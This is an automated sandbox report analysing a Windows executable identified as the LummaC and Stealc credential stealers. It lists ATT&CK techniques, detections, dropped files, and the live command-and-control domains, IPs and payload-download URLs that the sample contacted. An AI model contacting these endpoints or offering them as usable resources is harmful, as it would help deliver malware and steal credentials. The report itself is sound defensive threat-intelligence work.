Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	Directory queried: C:\Users\user\Documents\SUAVTZKNFL	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	Directory queried: C:\Users\user\Documents\SUAVTZKNFL	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior

Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe

Directory queried: number of queries: 1001

Source: Yara match

File source: Process Memory Space: MFQbv2Yuzv.exe PID: 4368, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: MFQbv2Yuzv.exe PID: 4368, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 00000005.00000002.2567997982.0000000000F9E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.2522024331.0000000004D70000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2565885468.0000000000571000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 58AOE6AB3YG1SX0XN83.exe PID: 1036, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	1 DLL Side-Loading	2 Process Injection	1 Masquerading	2 OS Credential Dumping	1 Query Registry	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	1 DLL Side-Loading	41 Disable or Modify Tools	LSASS Memory	751 Security Software Discovery	Remote Desktop Protocol	41 Data from Local System	11 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 PowerShell	Logon Script (Windows)	2 Bypass User Account Control	361 Virtualization/Sandbox Evasion	Security Account Manager	2 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	2 Process Injection	NTDS	361 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	124 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	2 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	2 Obfuscated Files or Information	Cached Domain Credentials	223 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Software Packing	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	2 Bypass User Account Control	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
MFQbv2Yuzv.exe	61%	ReversingLabs	Win32.Trojan.StealC
MFQbv2Yuzv.exe	60%	Virustotal		Browse
MFQbv2Yuzv.exe	100%	Avira	TR/Crypt.XPACK.Gen
MFQbv2Yuzv.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\58AOE6AB3YG1SX0XN83.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\58AOE6AB3YG1SX0XN83.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
http://185.215.113.16/off/def.exeowO	0%	Avira URL Cloud	safe
https://grannyejh.lat/apij	100%	Avira URL Cloud	malware
https://grannyejh.lat/j8	100%	Avira URL Cloud	malware
http://185.215.113.16/steam/random.exea	0%	Avira URL Cloud	safe
https://grannyejh.lat/p	100%	Avira URL Cloud	malware
https://grannyejh.lat/apiM	100%	Avira URL Cloud	malware
http://185.215.113.206/ineer	100%	Avira URL Cloud	malware
https://grannyejh.lat/apiz	100%	Avira URL Cloud	malware
https://grannyejh.lat/apiw	100%	Avira URL Cloud	malware
https://grannyejh.lat/NA	100%	Avira URL Cloud	malware
https://grannyejh.lat/L	100%	Avira URL Cloud	malware
http://185.215.113.16/A	0%	Avira URL Cloud	safe
https://grannyejh.lat:443/apiLocal	100%	Avira URL Cloud	malware
https://grannyejh.lat/A	100%	Avira URL Cloud	malware
https://grannyejh.lat/gU	100%	Avira URL Cloud	malware
http://185.215.113.16:80/steam/random.exeta	0%	Avira URL Cloud	safe
https://grannyejh.lat/Wg	100%	Avira URL Cloud	malware
https://grannyejh.lat/c	100%	Avira URL Cloud	malware
http://185.215.113.16:80/off/def.exeer	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
grannyejh.lat	104.21.64.80	true	false		high
sweepyribs.lat	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Reputation
http://185.215.113.206/	false	high
necklacebudi.lat	false	high
aspecteirs.lat	false	high
sweepyribs.lat	false	high
sustainskelet.lat	false	high
crosshuaht.lat	false	high
rapeflowwj.lat	false	high
185.215.113.206/c4becf79229cb002.php	false	high
http://185.215.113.206/c4becf79229cb002.php	false	high
energyaffai.lat	false	high
https://grannyejh.lat/api	false	high
grannyejh.lat	false	high
discokeyus.lat	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	MFQbv2Yuzv.exe, 00000000.00000003.2216955776.0000000005EAC000.00000004.00000800.00020000.00000000.sdmp, MFQbv2Yuzv.exe, 00000000.00000003.2217042010.0000000005EAC000.00000004.00000800.00020000.00000000.sdmp, MFQbv2Yuzv.exe, 00000000.00000003.2216850961.0000000005EAE000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	MFQbv2Yuzv.exe, 00000000.00000003.2216955776.0000000005EAC000.00000004.00000800.00020000.00000000.sdmp, MFQbv2Yuzv.exe, 00000000.00000003.2217042010.0000000005EAC000.00000004.00000800.00020000.00000000.sdmp, MFQbv2Yuzv.exe, 00000000.00000003.2216850961.0000000005EAE000.00000004.00000800.00020000.00000000.sdmp	false		high
https://grannyejh.lat/apiM	MFQbv2Yuzv.exe, 00000000.00000003.2329764327.00000000016CC000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://185.215.113.206/ineer	58AOE6AB3YG1SX0XN83.exe, 00000005.00000002.2567997982.0000000000F9E000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://grannyejh.lat/p	MFQbv2Yuzv.exe, 00000000.00000003.2329764327.0000000001734000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	MFQbv2Yuzv.exe, 00000000.00000003.2216955776.0000000005EAC000.00000004.00000800.00020000.00000000.sdmp, MFQbv2Yuzv.exe, 00000000.00000003.2217042010.0000000005EAC000.00000004.00000800.00020000.00000000.sdmp, MFQbv2Yuzv.exe, 00000000.00000003.2216850961.0000000005EAE000.00000004.00000800.00020000.00000000.sdmp	false		high
https://grannyejh.lat/j8	MFQbv2Yuzv.exe, 00000000.00000003.2263816587.0000000005E6E000.00000004.00000800.00020000.00000000.sdmp, MFQbv2Yuzv.exe, 00000000.00000003.2263906699.0000000005E71000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://185.215.113.16/off/def.exeowO	MFQbv2Yuzv.exe, 00000000.00000003.2427174005.0000000001731000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg	MFQbv2Yuzv.exe, 00000000.00000003.2266121808.0000000001758000.00000004.00000020.00020000.00000000.sdmp	false		high
https://grannyejh.lat/apij	MFQbv2Yuzv.exe, 00000000.00000003.2216041203.00000000016CC000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://185.215.113.16/steam/random.exea	MFQbv2Yuzv.exe, 00000000.00000003.2427174005.0000000001731000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://grannyejh.lat/apim	MFQbv2Yuzv.exe, 00000000.00000003.2216041203.00000000016B4000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.16/v	MFQbv2Yuzv.exe, 00000000.00000003.2427174005.0000000001731000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.c.lencr.org/0	MFQbv2Yuzv.exe, 00000000.00000003.2264670580.0000000005E9D000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	MFQbv2Yuzv.exe, 00000000.00000003.2264670580.0000000005E9D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://grannyejh.lat/apiz	MFQbv2Yuzv.exe, 00000000.00000003.2263730202.000000000175B000.00000004.00000020.00020000.00000000.sdmp, MFQbv2Yuzv.exe, 00000000.00000003.2266121808.000000000175C000.00000004.00000020.00020000.00000000.sdmp, MFQbv2Yuzv.exe, 00000000.00000003.2287115217.0000000001757000.00000004.00000020.00020000.00000000.sdmp, MFQbv2Yuzv.exe, 00000000.00000003.2287382713.000000000175C000.00000004.00000020.00020000.00000000.sdmp, MFQbv2Yuzv.exe, 00000000.00000003.2263959319.000000000175C000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	MFQbv2Yuzv.exe, 00000000.00000003.2216955776.0000000005EAC000.00000004.00000800.00020000.00000000.sdmp, MFQbv2Yuzv.exe, 00000000.00000003.2217042010.0000000005EAC000.00000004.00000800.00020000.00000000.sdmp, MFQbv2Yuzv.exe, 00000000.00000003.2216850961.0000000005EAE000.00000004.00000800.00020000.00000000.sdmp	false		high
https://grannyejh.lat/apiw	MFQbv2Yuzv.exe, 00000000.00000003.2330064339.000000000175C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://support.mozilla.org/products/firefoxgro.all	MFQbv2Yuzv.exe, 00000000.00000003.2265748251.0000000005F80000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.mozilla.or	MFQbv2Yuzv.exe, 00000000.00000003.2265593224.0000000005E99000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	MFQbv2Yuzv.exe, 00000000.00000003.2216955776.0000000005EAC000.00000004.00000800.00020000.00000000.sdmp, MFQbv2Yuzv.exe, 00000000.00000003.2217042010.0000000005EAC000.00000004.00000800.00020000.00000000.sdmp, MFQbv2Yuzv.exe, 00000000.00000003.2216850961.0000000005EAE000.00000004.00000800.00020000.00000000.sdmp	false		high
https://grannyejh.lat/	MFQbv2Yuzv.exe, 00000000.00000003.2375345020.0000000001731000.00000004.00000020.00020000.00000000.sdmp, MFQbv2Yuzv.exe, 00000000.00000003.2216041203.00000000016CC000.00000004.00000020.00020000.00000000.sdmp, MFQbv2Yuzv.exe, 00000000.00000003.2290580658.0000000001730000.00000004.00000020.00020000.00000000.sdmp, MFQbv2Yuzv.exe, 00000000.00000003.2287115217.0000000001757000.00000004.00000020.00020000.00000000.sdmp, MFQbv2Yuzv.exe, 00000000.00000003.2287382713.000000000175C000.00000004.00000020.00020000.00000000.sdmp, MFQbv2Yuzv.exe, 00000000.00000003.2427174005.0000000001731000.00000004.00000020.00020000.00000000.sdmp, MFQbv2Yuzv.exe, 00000000.00000003.2291076386.0000000001734000.00000004.00000020.00020000.00000000.sdmp	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	MFQbv2Yuzv.exe, 00000000.00000003.2266121808.0000000001758000.00000004.00000020.00020000.00000000.sdmp	false		high
https://grannyejh.lat/NA	MFQbv2Yuzv.exe, 00000000.00000003.2216041203.00000000016CC000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.16/steam/random.exe	MFQbv2Yuzv.exe, 00000000.00000003.2427174005.0000000001731000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	MFQbv2Yuzv.exe, 00000000.00000003.2216955776.0000000005EAC000.00000004.00000800.00020000.00000000.sdmp, MFQbv2Yuzv.exe, 00000000.00000003.2217042010.0000000005EAC000.00000004.00000800.00020000.00000000.sdmp, MFQbv2Yuzv.exe, 00000000.00000003.2216850961.0000000005EAE000.00000004.00000800.00020000.00000000.sdmp	false		high
https://grannyejh.lat/L	MFQbv2Yuzv.exe, 00000000.00000003.2329764327.0000000001734000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://crl.rootca1.amazontrust.com/rootca1.crl0	MFQbv2Yuzv.exe, 00000000.00000003.2264670580.0000000005E9D000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.php/	58AOE6AB3YG1SX0XN83.exe, 00000005.00000002.2567997982.0000000000FF9000.00000004.00000020.00020000.00000000.sdmp	false		high
http://ocsp.rootca1.amazontrust.com0:	MFQbv2Yuzv.exe, 00000000.00000003.2264670580.0000000005E9D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://grannyejh.lat/gU	MFQbv2Yuzv.exe, 00000000.00000003.2263816587.0000000005E6E000.00000004.00000800.00020000.00000000.sdmp, MFQbv2Yuzv.exe, 00000000.00000003.2263906699.0000000005E71000.00000004.00000800.00020000.00000000.sdmp, MFQbv2Yuzv.exe, 00000000.00000003.2291019011.0000000005E75000.00000004.00000800.00020000.00000000.sdmp, MFQbv2Yuzv.exe, 00000000.00000003.2287047220.0000000005E71000.00000004.00000800.00020000.00000000.sdmp, MFQbv2Yuzv.exe, 00000000.00000003.2290729082.0000000005E72000.00000004.00000800.00020000.00000000.sdmp, MFQbv2Yuzv.exe, 00000000.00000003.2286869313.0000000005E69000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.ecosia.org/newtab/	MFQbv2Yuzv.exe, 00000000.00000003.2216955776.0000000005EAC000.00000004.00000800.00020000.00000000.sdmp, MFQbv2Yuzv.exe, 00000000.00000003.2217042010.0000000005EAC000.00000004.00000800.00020000.00000000.sdmp, MFQbv2Yuzv.exe, 00000000.00000003.2216850961.0000000005EAE000.00000004.00000800.00020000.00000000.sdmp	false		high
https://grannyejh.lat/A	MFQbv2Yuzv.exe, 00000000.00000003.2216041203.00000000016CC000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	MFQbv2Yuzv.exe, 00000000.00000003.2265748251.0000000005F80000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.php5	58AOE6AB3YG1SX0XN83.exe, 00000005.00000002.2567997982.0000000000FF9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ac.ecosia.org/autocomplete?q=	MFQbv2Yuzv.exe, 00000000.00000003.2216955776.0000000005EAC000.00000004.00000800.00020000.00000000.sdmp, MFQbv2Yuzv.exe, 00000000.00000003.2217042010.0000000005EAC000.00000004.00000800.00020000.00000000.sdmp, MFQbv2Yuzv.exe, 00000000.00000003.2216850961.0000000005EAE000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.16/	MFQbv2Yuzv.exe, 00000000.00000003.2427174005.0000000001731000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.16/A	MFQbv2Yuzv.exe, 00000000.00000003.2427174005.0000000001731000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.micro	MFQbv2Yuzv.exe, 00000000.00000003.2290814072.00000000016CC000.00000004.00000020.00020000.00000000.sdmp, MFQbv2Yuzv.exe, 00000000.00000003.2313159422.00000000016CC000.00000004.00000020.00020000.00000000.sdmp, MFQbv2Yuzv.exe, 00000000.00000003.2313339399.00000000016ED000.00000004.00000020.00020000.00000000.sdmp, MFQbv2Yuzv.exe, 00000000.00000003.2290947914.00000000016DB000.00000004.00000020.00020000.00000000.sdmp, MFQbv2Yuzv.exe, 00000000.00000003.2291319128.00000000016ED000.00000004.00000020.00020000.00000000.sdmp, MFQbv2Yuzv.exe, 00000000.00000003.2216041203.00000000016EE000.00000004.00000020.00020000.00000000.sdmp, MFQbv2Yuzv.exe, 00000000.00000003.2313274376.00000000016DB000.00000004.00000020.00020000.00000000.sdmp, MFQbv2Yuzv.exe, 00000000.00000003.2329764327.00000000016CC000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.16:80/steam/random.exeta	MFQbv2Yuzv.exe, 00000000.00000003.2427293637.0000000005E7C000.00000004.00000800.00020000.00000000.sdmp, MFQbv2Yuzv.exe, 00000000.00000003.2426704338.0000000005E72000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://grannyejh.lat:443/apiLocal	MFQbv2Yuzv.exe, 00000000.00000003.2312975468.0000000005E7D000.00000004.00000800.00020000.00000000.sdmp, MFQbv2Yuzv.exe, 00000000.00000003.2427293637.0000000005E7C000.00000004.00000800.00020000.00000000.sdmp, MFQbv2Yuzv.exe, 00000000.00000003.2426704338.0000000005E72000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://crt.rootca1.amazontrust.com/rootca1.cer0?	MFQbv2Yuzv.exe, 00000000.00000003.2264670580.0000000005E9D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://grannyejh.lat/Wg	MFQbv2Yuzv.exe, 00000000.00000003.2263816587.0000000005E6E000.00000004.00000800.00020000.00000000.sdmp, MFQbv2Yuzv.exe, 00000000.00000003.2263906699.0000000005E71000.00000004.00000800.00020000.00000000.sdmp, MFQbv2Yuzv.exe, 00000000.00000003.2291019011.0000000005E75000.00000004.00000800.00020000.00000000.sdmp, MFQbv2Yuzv.exe, 00000000.00000003.2287047220.0000000005E71000.00000004.00000800.00020000.00000000.sdmp, MFQbv2Yuzv.exe, 00000000.00000003.2290729082.0000000005E72000.00000004.00000800.00020000.00000000.sdmp, MFQbv2Yuzv.exe, 00000000.00000003.2286869313.0000000005E69000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.206/c4becf79229cb002.phpP	58AOE6AB3YG1SX0XN83.exe, 00000005.00000002.2567997982.0000000000FF9000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.16/off/def.exe	MFQbv2Yuzv.exe, 00000000.00000003.2427174005.0000000001725000.00000004.00000020.00020000.00000000.sdmp, MFQbv2Yuzv.exe, 00000000.00000003.2427174005.0000000001731000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206	58AOE6AB3YG1SX0XN83.exe, 00000005.00000002.2567997982.0000000000F9E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://grannyejh.lat/c	MFQbv2Yuzv.exe, 00000000.00000003.2263730202.000000000175B000.00000004.00000020.00020000.00000000.sdmp, MFQbv2Yuzv.exe, 00000000.00000003.2266121808.000000000175C000.00000004.00000020.00020000.00000000.sdmp, MFQbv2Yuzv.exe, 00000000.00000003.2287115217.0000000001757000.00000004.00000020.00020000.00000000.sdmp, MFQbv2Yuzv.exe, 00000000.00000003.2287382713.000000000175C000.00000004.00000020.00020000.00000000.sdmp, MFQbv2Yuzv.exe, 00000000.00000003.2263959319.000000000175C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	MFQbv2Yuzv.exe, 00000000.00000003.2216955776.0000000005EAC000.00000004.00000800.00020000.00000000.sdmp, MFQbv2Yuzv.exe, 00000000.00000003.2217042010.0000000005EAC000.00000004.00000800.00020000.00000000.sdmp, MFQbv2Yuzv.exe, 00000000.00000003.2216850961.0000000005EAE000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.phpU	58AOE6AB3YG1SX0XN83.exe, 00000005.00000002.2567997982.0000000000FF9000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.16:80/off/def.exeer	MFQbv2Yuzv.exe, 00000000.00000003.2427293637.0000000005E7C000.00000004.00000800.00020000.00000000.sdmp, MFQbv2Yuzv.exe, 00000000.00000003.2426704338.0000000005E72000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.21.64.80	grannyejh.lat	United States	13335	CLOUDFLARENETUS	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1578084
Start date and time:	2024-12-19 08:45:04 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 5s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	7
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	MFQbv2Yuzv.exe renamed because original name is a hash value
Original Sample Name:	81cfbdcd567c50d28a6380910dd6cf83.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@5/3@2/3
EGA Information:	Successful, ratio: 33.3%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 13.107.246.63, 172.202.163.200
Excluded domains from analysis (whitelisted): client.wns.windows.com, ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target 58AOE6AB3YG1SX0XN83.exe, PID 1036 because there are no executed function
Execution Graph export aborted for target MFQbv2Yuzv.exe, PID 4368 because there are no executed function
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryDirectoryFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
02:46:00	API Interceptor	30x Sleep call for process: MFQbv2Yuzv.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.21.64.80	Y41xQGmT37.exe	Get hash	malicious	LummaC, Stealc	Browse
	O3u9C8cpzl.exe	Get hash	malicious	LummaC, Stealc	Browse
	niwvNnBk2p.exe	Get hash	malicious	LummaC, Stealc	Browse
	661fW9gxDp.exe	Get hash	malicious	LummaC	Browse
	S6oj0LoSiL.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, PureLog Stealer, RHADAMANTHYS	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Xmrig	Browse
	rK0CtrtVrl.exe	Get hash	malicious	LummaC, Stealc	Browse
	CefJcYwgWs.exe	Get hash	malicious	LummaC, Stealc	Browse
	tdMnK5A1pe.exe	Get hash	malicious	LummaC	Browse
185.215.113.206	Y41xQGmT37.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	O3u9C8cpzl.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	niwvNnBk2p.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	AWrVzd6XpC.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206/c4becf79229cb002.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, PureLog Stealer, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Xmrig	Browse	185.215.113.206/c4becf79229cb002.php
	rK0CtrtVrl.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	CefJcYwgWs.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	3DI3mOIlxE.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	D2Cw8gWOXj.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206/c4becf79229cb002.php

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
grannyejh.lat	Y41xQGmT37.exe	Get hash	malicious	LummaC, Stealc	Browse	104.21.64.80
	O3u9C8cpzl.exe	Get hash	malicious	LummaC, Stealc	Browse	104.21.64.80
	niwvNnBk2p.exe	Get hash	malicious	LummaC, Stealc	Browse	104.21.64.80
	661fW9gxDp.exe	Get hash	malicious	LummaC	Browse	104.21.64.80
	S6oj0LoSiL.exe	Get hash	malicious	LummaC	Browse	104.21.64.80
	AWrVzd6XpC.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	172.67.179.109
	469oyXQbRY.exe	Get hash	malicious	LummaC	Browse	172.67.179.109
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, PureLog Stealer, RHADAMANTHYS	Browse	104.21.64.80
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, PureLog Stealer, Stealc	Browse	172.67.179.109
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Xmrig	Browse	104.21.64.80

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	SWIFT COPY.exe	Get hash	malicious	FormBook	Browse	104.21.86.111
	Y41xQGmT37.exe	Get hash	malicious	LummaC, Stealc	Browse	104.21.64.80
	O3u9C8cpzl.exe	Get hash	malicious	LummaC, Stealc	Browse	104.21.64.80
	niwvNnBk2p.exe	Get hash	malicious	LummaC, Stealc	Browse	104.21.64.80
	661fW9gxDp.exe	Get hash	malicious	LummaC	Browse	104.21.64.80
	bPkG0wTVon.exe	Get hash	malicious	Unknown	Browse	104.16.184.241
	66776676676.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	172.67.177.134
	S6oj0LoSiL.exe	Get hash	malicious	LummaC	Browse	104.21.64.80
	pM3fQBuTLy.exe	Get hash	malicious	Vidar	Browse	172.64.41.3
	dlhost.exe	Get hash	malicious	XWorm	Browse	104.20.4.235
WHOLESALECONNECTIONSNL	Y41xQGmT37.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	O3u9C8cpzl.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	niwvNnBk2p.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
